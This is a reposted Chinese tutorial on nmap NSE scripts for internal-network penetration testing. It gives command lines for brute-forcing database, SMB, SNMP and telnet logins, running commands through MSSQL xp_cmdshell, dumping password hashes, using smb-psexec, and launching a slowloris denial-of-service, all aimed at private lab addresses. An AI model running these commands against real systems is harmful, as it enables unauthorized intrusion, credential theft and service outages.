nmap的基本介绍和基本使用方法
原文地址:http://drops.wooyun.org/tips/2188
0x00 前言:
nmap的基本介紹和基本使用方法,在烏云知識(shí)庫(kù)中已經(jīng)有人提交過(guò),講的比較詳細(xì),在此文中就不再講述。 具體鏈接:http://drops.wooyun.org/tips/2002
本文主要講解nmap的眾多腳本的使用,在內(nèi)網(wǎng)滲透的時(shí)候尤其好用。
0x01 nmap按腳本分類掃描
nmap腳本主要分為以下幾類,在掃描時(shí)可根據(jù)需要設(shè)置--script=類別這種方式進(jìn)行比較籠統(tǒng)的掃描:
auth: 負(fù)責(zé)處理鑒權(quán)證書(shū)(繞開(kāi)鑒權(quán))的腳本
broadcast: 在局域網(wǎng)內(nèi)探查更多服務(wù)開(kāi)啟狀況,如dhcp/dns/sqlserver等服務(wù)
brute: 提供暴力破解方式,針對(duì)常見(jiàn)的應(yīng)用如http/snmp等
default: 使用-sC或-A選項(xiàng)掃描時(shí)候默認(rèn)的腳本,提供基本腳本掃描能力
discovery: 對(duì)網(wǎng)絡(luò)進(jìn)行更多的信息,如SMB枚舉、SNMP查詢等
dos: 用于進(jìn)行拒絕服務(wù)攻擊
exploit: 利用已知的漏洞入侵系統(tǒng)
external: 利用第三方的數(shù)據(jù)庫(kù)或資源,例如進(jìn)行whois解析
fuzzer: 模糊測(cè)試的腳本,發(fā)送異常的包到目標(biāo)機(jī),探測(cè)出潛在漏洞 intrusive: 入侵性的腳本,此類腳本可能引發(fā)對(duì)方的IDS/IPS的記錄或屏蔽
malware: 探測(cè)目標(biāo)機(jī)是否感染了病毒、開(kāi)啟了后門(mén)等信息
safe: 此類與intrusive相反,屬于安全性腳本
version: 負(fù)責(zé)增強(qiáng)服務(wù)與版本掃描(Version Detection)功能的腳本
vuln: 負(fù)責(zé)檢查目標(biāo)機(jī)是否有常見(jiàn)的漏洞(Vulnerability),如是否有MS08_067
部分使用截圖:
(1) nmap --script=auth 192.168.137.*
負(fù)責(zé)處理鑒權(quán)證書(shū)(繞開(kāi)鑒權(quán))的腳本,也可以作為檢測(cè)部分應(yīng)用弱口令
(2)nmap --script=brute 192.168.137.*
提供暴力破解的方式 可對(duì)數(shù)據(jù)庫(kù),smb,snmp等進(jìn)行簡(jiǎn)單密碼的暴力猜解
2014060615563891852.jpg
(3)nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默認(rèn)的腳本掃描,主要是搜集各種應(yīng)用服務(wù)的信息,收集到后,可再針對(duì)具體服務(wù)進(jìn)行攻擊
(4)nmap --script=vuln 192.168.137.*
檢查是否存在常見(jiàn)漏洞
enter image description here
2014060615591092492.jpg
2014060615595719894.jpg
(5)nmap -n -p445 --script=broadcast 192.168.137.4
在局域網(wǎng)內(nèi)探查更多服務(wù)開(kāi)啟狀況
enter image description here
(6)nmap --script external 202.103.243.110
利用第三方的數(shù)據(jù)庫(kù)或資源,例如進(jìn)行whois解析
enter image description here
0x02 nmap按應(yīng)用服務(wù)掃描
(1)vnc掃描:
檢查vnc bypass
nmap --script=realvnc-auth-bypass 192.168.137.4
檢查vnc認(rèn)證方式
nmap --script=vnc-auth 192.168.137.4
獲取vnc信息
nmap --script=vnc-info 192.168.137.4
(2)smb掃描:
smb破解
nmap --script=smb-brute.nse 192.168.137.4
smb字典破解
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
enter image description here
smb已知幾個(gè)嚴(yán)重漏
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4
查看共享目錄
nmap -p 445 --script smb-ls --script-args ‘share=e$,path=,smbuser=test,smbpass=test’ 192.168.137.4
查詢主機(jī)一些敏感信息(注:需要下載nmap_service)
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test 192.168.137.4
enter image description here
查看會(huì)話
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
系統(tǒng)信息
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
(3)Mssql掃描:
猜解mssql用戶名和密碼
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
2014060616135770347.jpg
xp_cmdshell 執(zhí)行命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4
2014060616145120758.jpg
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4
enter image description here
(4)Mysql掃描:
掃描root空口令
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
enter image description here
列出所有mysql用戶
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
支持同一應(yīng)用的所有腳本掃描
nmap --script=mysql-* 192.168.137.4
enter image description here
(5)Oracle掃描:
oracle sid掃描
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
enter image description here
oracle弱口令破解
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5
enter image description here
(6)其他一些比較好用的腳本
nmap --script=broadcast-netbios-master-browser 192.168.137.4 發(fā)現(xiàn)網(wǎng)關(guān)
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix數(shù)據(jù)庫(kù)破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 檢查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻擊,對(duì)于處理能力較小的站點(diǎn)還挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
(7)不靠譜的腳本:
vnc-brute 次數(shù)多了會(huì)禁止連接
pcanywhere-brute 同上
2014060616350538005.jpg
0x03 學(xué)會(huì)腳本分析
nmap中腳本并不難看懂,所以在使用時(shí)如果不知道原理可以直接看利用腳本即可,也可以修改其中的某些參數(shù)方便自己使用。
舉例:
關(guān)于oracle的弱口令破解:
調(diào)用過(guò)程:oracle-brute.nse >> oracle-default-accounts.lst
首先是調(diào)用破解腳本:
根據(jù)腳本中字典的位置去查看默認(rèn)字典,當(dāng)然也可以將破解的字符自行添加其中,或者是修改腳本或參數(shù)改變破解字典:
總結(jié)
以上是生活随笔為你收集整理的nmap的基本介绍和基本使用方法的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: C++常量
- 下一篇: 2000年考研英语阅读理解文章二